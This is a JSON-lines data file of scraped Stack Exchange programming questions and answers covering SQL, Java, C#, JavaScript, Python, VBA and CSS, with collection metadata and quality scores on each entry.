{"id": "hf_bc0828972517", "question": "<p>Consider the Oracle <code>emp</code> table. I'd like to get the employees with the top salary with <code>department = 20</code> and <code>job = clerk</code>. Also assume that there is no \"empno\" column, and that the primary key involves a number of columns. You can do this with:</p>\n\n<pre><code>select * from scott.emp\nwhere deptno = 20 and job = 'CLERK'\nand sal =  (select max(sal) from scott.emp\n            where deptno = 20 and job = 'CLERK')\n</code></pre>\n\n<p>This works, but I have to duplicate the test deptno = 20 and job = 'CLERK', which I would like to avoid. Is there a more elegant way to write this, maybe using a <code>group by</code>? BTW, if this matters, I am using Oracle.</p>\n", "question_body": "", "answer": "The following is slightly over-engineered, but is a good SQL pattern for \"top x\" queries.\n```\n```\nSELECT \n * \nFROM \n scott.emp\nWHERE \n (deptno,job,sal) IN\n (SELECT \n   deptno,\n   job,\n   max(sal) \n  FROM \n   scott.emp\n  WHERE \n   deptno = 20 \n   and job = 'CLERK'\n  GROUP BY \n   deptno,\n   job\n  )\n```\n```\nAlso note that this will work in Oracle and Postgress (i think) but not MS SQL. For something similar in MS SQL see question\nSQL Query to get latest price", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.800152"}
{"id": "hf_c090b182b494", "question": "<p>Jeff covered this a while back <a href=\"http://www.codinghorror.com/blog/archives/000811.html\" rel=\"nofollow noreferrer\">on his blog</a> in terms of 32 bit Vista.</p>\n\n<p>Does the same 32 bit 4 GB memory cap that applies in 32 bit Vista apply to 32 bit Ubuntu? Are there any 32 bit operating systems that have creatively solved this problem?</p>\n", "question_body": "", "answer": "In theory, all 32-bit OSes have that problem. You have 32 bits to do addressing.\n```\n```\n2^32 bits / 2^10 (bits per kb) / 2^10 (kb per mb) / 2^10 (mb per gb) = 2^2 = 4gb.\n```\n```\nAlthough there are some ways around it. (Look up the jump from 16-bit computing to 32-bit computing. They hit the same problem.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.824224"}
{"id": "hf_1963ac5da831", "question": "<p>I have two spreadsheets... when one gets modified in a certain way I want to have a macro run that modifies the second in an appropriate manner.  I've already isolated the event I need to act on (the modification of any cell in a particular column), I just can't seem to find any concrete information on accessing and modifying another spreadsheet (this spreadsheet is located on a different LAN share also... the user has access to both, though).</p>\n\n<p>Any help would be great.  References on how to do this or something similar are just as good as concrete code samples.</p>\n", "question_body": "", "answer": "In Excel, you would likely just write code to open the other worksheet, modify it and then save the data.\nSee\nthis tutorial\nfor more info.\nI'll have to edit my VBA later, so pretend this is pseudocode, but it should look something like:\n```\n```\nDim xl: Set xl = CreateObject(\"Excel.Application\")\nxl.Open \"\\\\the\\share\\file.xls\"\n\nDim ws: Set ws = xl.Worksheets(1)\nws.Cells(0,1).Value = \"New Value\"\nws.Save\n\nxl.Quit constSilent\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.861166"}
{"id": "hf_745ab482ebb0", "question": "<p>It seems like IDataReader.Read() is always true at least one time (If I'm wrong about this let me know.)  So how do you tell if it has no records without just wrapping it in a try/catch?</p>\n", "question_body": "", "answer": "```\n```\nif(dr.Read())\n{\n   //do stuff\n}\nelse\n{\n //it's empty\n}\n```\n```\nusually you'll do this though:\n```\n```\nwhile(dr.Read())\n{\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.923520"}
{"id": "hf_154f2ecc8f9a", "question": "<p>I'm trying to create an SSIS package that takes data from an XML data source and for each row inserts another row with some preset values.  Any ideas?  I'm thinking I could use a DataReader source to generate the preset values by doing the following:</p>\n\n<pre><code>SELECT 'foo' as 'attribute1', 'bar' as 'attribute2'\n</code></pre>\n\n<p>The question is, how would I insert one row of this type for every row in the XML data source?</p>\n", "question_body": "", "answer": "I've never tried it, but it looks like you might be able to use a\nDerived Column transformation\nto do it: set the expression for attribute1 to\n```\n\"foo\"\n```\nand the expression for attribute2 to\n```\n\"bar\"\n```\n.\nYou'd then transform the original data source, then only use the derived columns in your destination.  If you still need the original source, you can Multicast it to create a duplicate.\nAt least I think this will work, based on the documentation.  YMMV.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:51.994433"}
{"id": "hf_389f91458a13", "question": "<p>Say I have a list as follows:</p>\n\n<ul>\n<li>item1</li>\n<li>item2</li>\n<li>item3</li>\n</ul>\n\n<p>Is there a CSS selector that will allow me to directly select the last item of a list? In this case item 3.</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "Not that i'm aware of.  The traditional solution is to tag the first & last items with class=\"first\" & class=\"last\" so you can identify them.\nThe CSS psudo-class\nfirst-child\nwill get you the first item but not all browsers support it. CSS3 will have\nlast-child too\n(this is currently supported by Firefox, Safari but not IE 6/7/beta 8)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.057989"}
{"id": "hf_bfe020c4927e", "question": "<p>I have a list of objects I wish to sort based on a field <code>attr</code> of type string. I tried using <code>-</code></p>\n\n<pre><code>list.sort(function (a, b) {\n    return a.attr - b.attr\n})\n</code></pre>\n\n<p>but found that <code>-</code> doesn't appear to work with strings in JavaScript. How can I sort a list of objects based on an attribute with type string?</p>\n", "question_body": "", "answer": "Use\n```\nString.prototype.localeCompare\n```\na per your example:\n```\n```\nlist.sort(function (a, b) {\n    return ('' + a.attr).localeCompare(b.attr);\n})\n```\n```\nWe force a.attr to be a string to avoid exceptions.\n```\nlocaleCompare\n```\nhas been supported\nsince Internet Explorer 6\nand Firefox 1. You may also see the following code used that doesn't respect a locale:\n```\n```\nif (item1.attr < item2.attr)\n  return -1;\nif ( item1.attr > item2.attr)\n  return 1;\nreturn 0;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.082160"}
{"id": "hf_43fa05ac77fa", "question": "<p>I'm tearing my hair out with this one. If I start a block comment <code>/*</code> in VS.NET 2005+ then carriage return, Visual Studio insists that I have another asterisk <code>*</code>. I know there's an option to turn this off but I just can't find it. Anyone know how to turn this feature off?</p>\n", "question_body": "", "answer": "Update: this setting was changed in VS 2015 update 2. See\nthis answer\n.\nThis post\naddresses your question. The gist of it is:\n```\n```\nText Editor > C# > Advanced > Generate XML documentation comments for ///\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.129938"}
{"id": "hf_78fc192a417c", "question": "<p>When a template is added using the add-template stsadm command, it becomes available to everyone when creating a subsite. Is there any way to make it only available when a site collection is being created?</p>\n", "question_body": "", "answer": "go to site actions -> Site Settings -> view all site settings -> site templates and page layouts and remove the site template from the list of allowed items.\nGary Lapointe may also have made an stsadm extenstion for it; check\nstsadm.blogspot.com\nMauro Masucci\nhttp://www.brantas.co.uk", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.172183"}
{"id": "hf_00de2bb7ce45", "question": "<p>I work for a company whose primary business is not software related. Most documentation for using source control is written with a development team writing for commercial or open source projects in mind. As someone who writes in house software I can say that work is done differently then it would be in a commercial or open source setting. In addition there are stored procedures and database scripts that need to be kept in sync with the code.</p>\n\n<p>In particular I am looking to get suggestions on how best to structure the repository with in house software in mind. Most documentation suggests trunk, branches, tags etc. And procedures for keeping production, test and development environments in sync with their respective sections in the repository etc. </p>\n", "question_body": "", "answer": "You could use a service like www.unfuddle.com to set up a free SVN or GIT repository.\nWe use Unfuddle and it's really great. There are free and paid versions (depending on your needs).\nOr, you could of course set up a local copy. There are plenty of tutorials to be found via Google for that:\nhttp://www.google.com/search?rlz=1C1GGLS_enUS291&aq=f&sourceid=chrome&ie=UTF-8&q=set+up+svn", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.216389"}
{"id": "hf_e216b342e2b1", "question": "<p>How can I retrieve the page title of a webpage (title html tag) using Python?</p>\n", "question_body": "", "answer": "I'll always use\nlxml\nfor such tasks. You could use\nbeautifulsoup\nas well.\n```\n```\nimport lxml.html\nt = lxml.html.parse(url)\nprint(t.find(\".//title\").text)\n```\n```\nEDIT based on comment:\n```\n```\nfrom urllib2 import urlopen\nfrom lxml.html import parse\n\nurl = \"https://www.google.com\"\npage = urlopen(url)\np = parse(page)\nprint(p.find(\".//title\").text)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.250648"}
{"id": "hf_3101d1b5147e", "question": "<p>I have a table in a MySql database that stores user accounts. One of the columns, expires, stores an expiration date but defaults to NULL. I need to be able to remove an expiration date and set it back to the default value.</p>\n\n<p>Currently, all of my CRUD routines are written using MySqlCommand with parameters. Can this be done directly with a MySqlParameter, or do I have to create an alternate command object to handle this eventuality?</p>\n", "question_body": "", "answer": "It's not clear what conditions you're talking about. If you want to set column to default value, you can use\nDbNull.Value\n;\n```\n```\ncommand.AddWithValue(\"@param\", DbNull.Value);\n\nor\n\ncommand.Parameters.Add(\"@param\", <data type>).Value = DBNull.Value;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.280918"}
{"id": "hf_f0bd5be15d91", "question": "<p>How can you find out what are the long running queries are on Informix database server? I have a query that is using up the CPU and want to find out what the query is.</p>\n", "question_body": "", "answer": "```\n```\nSELECT ELAPSED_TIME_MIN,SUBSTR(AUTHID,1,10) AS AUTH_ID, \nAGENT_ID, APPL_STATUS,SUBSTR(STMT_TEXT,1,20) AS SQL_TEXT\nFROM SYSIBMADM.LONG_RUNNING_SQL\nWHERE ELAPSED_TIME_MIN > 0\nORDER BY ELAPSED_TIME_MIN DESC\n```\n```\nCredit:\nSQL to View Long Running Queries", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.316493"}
{"id": "hf_9d3463cb302b", "question": "<p>What object do you query against to select all the table names in a schema in Oracle?</p>\n", "question_body": "", "answer": "You may use:\n```\n```\nselect tabname from tabs\n```\n```\nto get the name of tables present in schema.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.340455"}
{"id": "hf_d9392027f4bd", "question": "<p>Is there any performance to be gained these days from compiling java to native code, or do modern hotspot compilers end up doing this over time anyway?</p>\n", "question_body": "", "answer": "Memory performance or CPU performance? Or are they the same these days?\nMy only evidence is anecdotal and on a different platform: after porting a bunch of CPU-hungry apps to C# (.NET 2.0), I did not notice substantial loss in performance (I do not consider 10% substantial). Well written code seems to perform well on a variety of architectures.\nMost apps spend/waste time with:\nIO operations that will not benefit from static (compile-time) analysis.\nBad Algorithms that will not benefit from static analysis.\nBad Memory layouts in critical CPU inner loops. While it is technically possible that compilers help us here, I have yet to see a real compiler do anything interesting.\nSo based upon my experience, unless you are writing a video codec, there is no benefit to compiling Java apps vs. just relying upon the hotspot compilers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.392761"}
{"id": "hf_5357138fced0", "question": "<p>I'm wondering what strategies people use for reduced sign on with legacy applications and how effective they have found them?  </p>\n\n<p>We have an ASP.Net based intranet and own a lot of the legacy applications, but not all.  We also have BizTalk and are considering the use of it's SSO engine too.</p>\n", "question_body": "", "answer": "A good compromise between effort/rework and the convenience of single sign on is to continue to maintain a list of users, privileges, roles etc in the legacy app.  Make the changes necessary to automatically log the user into your application based on their user account (usually their Windows or network account).\nI'm currently running a couple of applications that use this method of sign on, and it makes them seem more integrated even though they aren't.\nAnother advantage we've found is that it stops people from sharing passwords to legacy applications.  They're much less likely to hand out an admin password that also gives others access to their email or payroll details!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.423533"}
{"id": "hf_cc473d585efe", "question": "<p>How do you get around this Ajax cross site scripting problem on FireFox 3?</p>\n", "question_body": "", "answer": "If you're using jQuery it has a callback function to overcome this:\nhttp://docs.jquery.com/Ajax/jQuery.ajax#options\nAs of jQuery 1.2, you can load JSON\n  data located on another domain if you\n  specify a JSONP callback, which can be\n  done like so: \"myurl?callback=?\".\n  jQuery automatically replaces the ?\n  with the correct method name to call,\n  calling your specified callback. Or,\n  if you set the dataType to \"jsonp\" a\n  callback will be automatically added\n  to your Ajax request.\nAlternatively you could make your ajax request to a server-side script which does the cross-domain call for you, then passes the data back to your script", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.446083"}
{"id": "hf_4571a5e55a05", "question": "<p>So I'm running PPP under linux with a cellular modem.  The program I'm writing needs to know if the link is active before sending any data.</p>\n\n<p>What are my options to check</p>\n\n<ul>\n<li>if the link is available</li>\n<li>if it routes to a server I control (it doesn't go to the internet as I said earlier)</li>\n</ul>\n\n<p>Also, what is the best way to restart it - I'd like to have program control over when it starts and stops, so I assume an init.d isn't appropriate.  Using <code>system()</code> doesn't seem to give a PID, are there other options besides <code>fork()</code> and the gaggle of <code>exec??()</code> calls?</p>\n\n<p>C on Linux on ARM (custom distribution using buildroot).</p>\n", "question_body": "", "answer": "You could parse\n```\n/proc/net/route\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.482546"}
{"id": "hf_df8866e60c37", "question": "<p>For a project I'm working on. I need to look for an executable on the filesystem. For UNIX derivatives, I assume the user has the file in the mighty $PATH variable, but there is no such thing on Windows.</p>\n\n<p>I can safely assume the file is at most 2 levels deep into the filesystem, but I don't know on what drive it will be. I have to try all drives, but I can't figure out how to list all available drives (which have a letter assigned to it).</p>\n\n<p>Any help?</p>\n\n<p><strong>EDIT:</strong> I know there is a %PATH% variable, but it is not as integrated as in UNIX systems. For instance, the application I'm looking for is OpenOffice. Such software would not be in %PATH%, typically.</p>\n", "question_body": "", "answer": "Of course there is a\n```\nPATH\n```\nenvironment variable\nin Windows\n.\n```\n%PATH%\n```\nThis variable contains a semicolon-delimited list of directories in which the command interpreter will search for executable files. Equivalent to the UNIX $PATH variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.515434"}
{"id": "hf_6ceee01a7b58", "question": "<p>I'm a bit stuck on this. Basically I want to do something like the following SQL query in LINQ to SQL:</p>\n<pre><code>SELECT f.* \nFROM Foo f\nWHERE f.FooId IN (\n    SELECT fb.FooId\n    FROM FooBar fb\n    WHERE fb.BarId = 1000\n)\n</code></pre>\n<p>Any help would be gratefully received.</p>\n", "question_body": "", "answer": "Try using two separate steps:\n```\n```\n// create a Dictionary / Set / Collection fids first\nvar fids = (from fb in FooBar\n            where fb.BarID = 1000\n            select new { fooID = fb.FooID, barID = fb.BarID })\n            .ToDictionary(x => x.fooID, x => x.barID);\n\nfrom f in Foo\nwhere fids.HasKey(f.FooId)\nselect f\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.544679"}
{"id": "hf_c53d17dd744c", "question": "<p>The <a href=\"http://java.sun.com/j2se/1.4.2/docs/api/java/io/DataInput.html#skipBytes(int)\" rel=\"noreferrer\">Sun Documentation for DataInput.skipBytes</a> states that it \"makes an attempt to skip over n bytes of data from the input stream, discarding the skipped bytes. However, it may skip over some smaller number of bytes, possibly zero. This may result from any of a number of conditions; reaching end of file before n bytes have been skipped is only one possibility.\"</p>\n\n<ol>\n<li><p>Other than reaching end of file, why might <code>skipBytes()</code> not skip the right number of bytes? (The <code>DataInputStream</code> I am using will either be wrapping a <code>FileInputStream</code> or a <code>PipedInputStream</code>.)</p></li>\n<li><p>If I definitely want to skip n bytes and throw an <code>EOFException</code> if this causes me to go to the end of the file, should I use <code>readFully()</code> and ignore the resulting byte array? Or is there a better way?</p></li>\n</ol>\n", "question_body": "", "answer": "1) There might not be that much data available to read (the other end of the pipe might not have sent that much data yet), and the implementing class might be non-blocking (i.e. it will just return what it can, rather than waiting for enough data to fulfil the request).\nI don't know if any implementations actually behave in this way, however, but the interface is designed to permit it.\nAnother option is simply that the file gets closed part-way through the read.\n2) Either readFully() (which will always wait for enough input or else fail) or call skipBytes() in a loop.  I think the former is probably better, unless the array is truly vast.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.622555"}
{"id": "hf_f04876f9886f", "question": "<p>I want to get the base 10 logarithm of a Fixnum using Ruby, but found that n.log or n.log10 are not defined. Math::log is defined but uses a different base than 10.</p>\n\n<p>What is the easiest way to get the base 10 logarithm of a Fixnum?</p>\n", "question_body": "", "answer": "Reading the documentation for module Math the answer is really obvious:\n```\n```\nMath::log10(n)\n```\n```\nThis gives the base 10 logarithm of n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.685628"}
{"id": "hf_4bb1fc8b72b3", "question": "<p>How do you get a Media Type (MIME type) from a file using Java?  So far I've tried JMimeMagic &amp; Mime-Util. The first gave me memory exceptions, the second doesn't close its streams properly.</p>\n<p>How would you probe the file to determine its actual type (not merely based on the extension)?</p>\n", "question_body": "", "answer": "Unfortunately,\n```\n```\nmimeType = file.toURL().openConnection().getContentType();\n```\n```\ndoes not work, since this use of URL leaves a file locked, so that, for example, it is undeletable.\nHowever, you have this:\n```\n```\nmimeType= URLConnection.guessContentTypeFromName(file.getName());\n```\n```\nand also the following, which has the advantage of going beyond mere use of file extension, and takes  a peek at content\n```\n```\nInputStream is = new BufferedInputStream(new FileInputStream(file));\nmimeType = URLConnection.guessContentTypeFromStream(is);\n //...close stream\n```\n```\nHowever, as suggested by the comment above, the built-in table of mime-types is quite limited, not including, for example, MSWord and PDF. So, if you want to generalize, you'll need to go beyond the built-in libraries, using, e.g., Mime-Util (which is a great library, using both file extension and content).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.730980"}
{"id": "hf_ec848f9a21c8", "question": "<p>what is the best method for inter process communication in a multithreaded java app.</p>\n\n<p>It should be performant (so no JMS please) easy to implement and reliable,so that\nobjects &amp; data can be bound to one thread only?</p>\n\n<p>Any ideas welcome!</p>\n", "question_body": "", "answer": "Could you clarify a bit?  Do you mean IPC in a single JVM? (Multiple threads, yes, but at an OS-level only one process.)  Or do you mean multiple JVMs?  (And truly OS-level inter process communications.)\nIf it is the first, then maybe something out of\njava.util.concurrent\n, like\nConcurrentLinkedQueue\nwould do the trick.  (I pass message around inbetween my threads with classes from java.util.concurrent with success.)\nIf the later, then I'm going to just guess and suggest taking a look at\nRMI\n, although I don' think it qualifies as fully reliable--you'd have to manage that a bit more 'hands on' like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.755386"}
{"id": "hf_9bf20acc92d4", "question": "<p>In <a href=\"http://en.wikipedia.org/wiki/PostgreSQL\" rel=\"noreferrer\">PostgreSQL</a>, I can do something like this:</p>\n\n<pre><code>ALTER SEQUENCE serial RESTART WITH 0;\n</code></pre>\n\n<p>Is there an Oracle equivalent?</p>\n", "question_body": "", "answer": "A true restart is not possible\nAFAIK\n. (Please correct me if I'm wrong!).\nHowever, if you want to set it to 0, you can just delete and recreate it.\nIf you want to set it to a specific value, you can set the INCREMENT to a negative value and get the next value.\nThat is, if your sequence is at 500, you can set it to 100 via\n```\n```\nALTER SEQUENCE serial INCREMENT BY -400;\nSELECT serial.NEXTVAL FROM dual;\nALTER SEQUENCE serial INCREMENT BY 1;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.797776"}
{"id": "hf_cab3066235a1", "question": "<p>Given a path such as <code>&quot;mydir/myfile.txt&quot;</code>, how do I find the file's absolute path in Python? E.g. on Windows, I might end up with:</p>\n<pre><code>&quot;C:/example/cwd/mydir/myfile.txt&quot;\n</code></pre>\n", "question_body": "", "answer": "```\n```\n>>> import os\n>>> os.path.abspath(\"mydir/myfile.txt\")\n'C:/example/cwd/mydir/myfile.txt'\n```\n```\nAlso works if it is already an absolute path:\n```\n```\n>>> import os\n>>> os.path.abspath(\"C:/example/cwd/mydir/myfile.txt\")\n'C:/example/cwd/mydir/myfile.txt'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.886037"}
{"id": "hf_5472affb8bbf", "question": "<p>I have a list of structs and I want to change one element. For example :</p>\n\n<pre><code>MyList.Add(new MyStruct(\"john\");\nMyList.Add(new MyStruct(\"peter\");\n</code></pre>\n\n<p>Now I want to change one element:</p>\n\n<pre><code>MyList[1].Name = \"bob\"\n</code></pre>\n\n<p>However, whenever I try and do this I get the following error:</p>\n\n<blockquote>\n  <p>Cannot modify the return value of\n  System.Collections.Generic.List.this[int]‘ because it is not\n  a variable</p>\n</blockquote>\n\n<p>If I use a list of classes, the problem doesn't occur.</p>\n\n<p>I guess the answer has to do with structs being a value type.</p>\n\n<p>So, if I have a list of structs should I treat them as <em>read-only</em>? If I need to change elements in a list then I should use classes and not structs?</p>\n", "question_body": "", "answer": "```\n```\nMyList[1] = new MyStruct(\"bob\");\n```\n```\nstructs in C# should almost always be designed to be immutable (that is, have no way to change their internal state once they have been created).\nIn your case, what you want to do is to replace the entire struct in specified array index, not to try to change just a single property or field.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:52.907421"}
{"id": "hf_1dbafa0dcb5a", "question": "<p>Typically when writing new code you discover that you are missing a #include because the file doesn't compile. Simple enough, you add the required #include. But later you refactor the code somehow and now a couple of #include directives are no longer needed. How do I discover which ones are no longer needed? </p>\n\n<p>Of course I can manually remove some or all #include lines and add them back until the file compiles again, but this isn't really feasible in a large project with thousands of files. Are there any tools available that will help automating task?</p>\n", "question_body": "", "answer": "You can use\nPC-Lint/FlexeLint\nto do that.\nUnusually there isn't a free OS version of the tool available.\nYou can remove #includes by passing by reference instead of passing by value and forward declaring. This is because the compiler doesn't need to know the size of the object at compile time. This will require a large amount of manual work on your behalf however. The good thing is it will reduce your compile times.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.021602"}
{"id": "hf_5216ad3ecc01", "question": "<p>How can i format currency related data in a manner that is culture aware in JavaScript?</p>\n", "question_body": "", "answer": "Dojo has a\ncurrency formatter\nthat's locale aware.\nIf you don't want to include Dojo in your project just for this function, then perhaps you can localize the currency in your back-end?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.047421"}
{"id": "hf_8e8d0210cdfc", "question": "<p>Has anyone had good experiences with any Java libraries for Graph algorithms. I've tried <a href=\"http://www.jgraph.com/jgraph.html\" rel=\"noreferrer\">JGraph</a> and found it ok, and there are a lot of different ones in google. Are there any that people are actually using successfully in production code or would recommend?</p>\n\n<p>To clarify, I'm not looking for a library that produces graphs/charts, I'm looking for one that helps with Graph algorithms, eg minimum spanning tree, Kruskal's algorithm Nodes, Edges, etc. Ideally one with some good algorithms/data structures in a nice Java OO API.</p>\n", "question_body": "", "answer": "For visualization our group had some success with\nprefuse\n.  We extended it to handle architectural floorplates and bubble diagraming, and it didn't complain too much.  They have a new Flex toolkit out too called Flare that uses a very similar API.\nUPDATE:\nI'd have to agree with the comment, we ended up writing a lot of custom functionality/working around prefuse limitations.  I  can't say that starting from scratch would have been better though as we were able to demonstrate progress from day 1 by using prefuse.  On the other hand if we were doing a second implementation of the same stuff, I might skip prefuse since we'd understand the requirements a lot better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.080321"}
{"id": "hf_0cbfc147e3a9", "question": "<p>Let's say I have the following class:</p>\n\n<pre><code>public class Test&lt;E&gt; {\n    public boolean sameClassAs(Object o) {\n        // TODO help!\n    }\n}\n</code></pre>\n\n<p>How would I check that <code>o</code> is the same class as <code>E</code>?</p>\n\n<pre><code>Test&lt;String&gt; test = new Test&lt;String&gt;();\ntest.sameClassAs(\"a string\"); // returns true;\ntest.sameClassAs(4); // returns false;\n</code></pre>\n\n<p>I can't change the method signature from <code>(Object o)</code> as I'm overridding a superclass and so don't get to choose my method signature.</p>\n\n<p>I would also rather not go down the road of attempting a cast and then catching the resulting exception if it fails.</p>\n", "question_body": "", "answer": "I could only make it working like this:\n```\n```\npublic class Test<E> {  \n\n    private E e;  \n\n    public void setE(E e) {  \n        this.e = e;  \n    }\n\n    public boolean sameClassAs(Object o) {  \n\n        return (o.getClass().equals(e.getClass()));  \n    }\n\n    public boolean sameClassAs2(Object o) {  \n        return e.getClass().isInstance(o);  \n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.102924"}
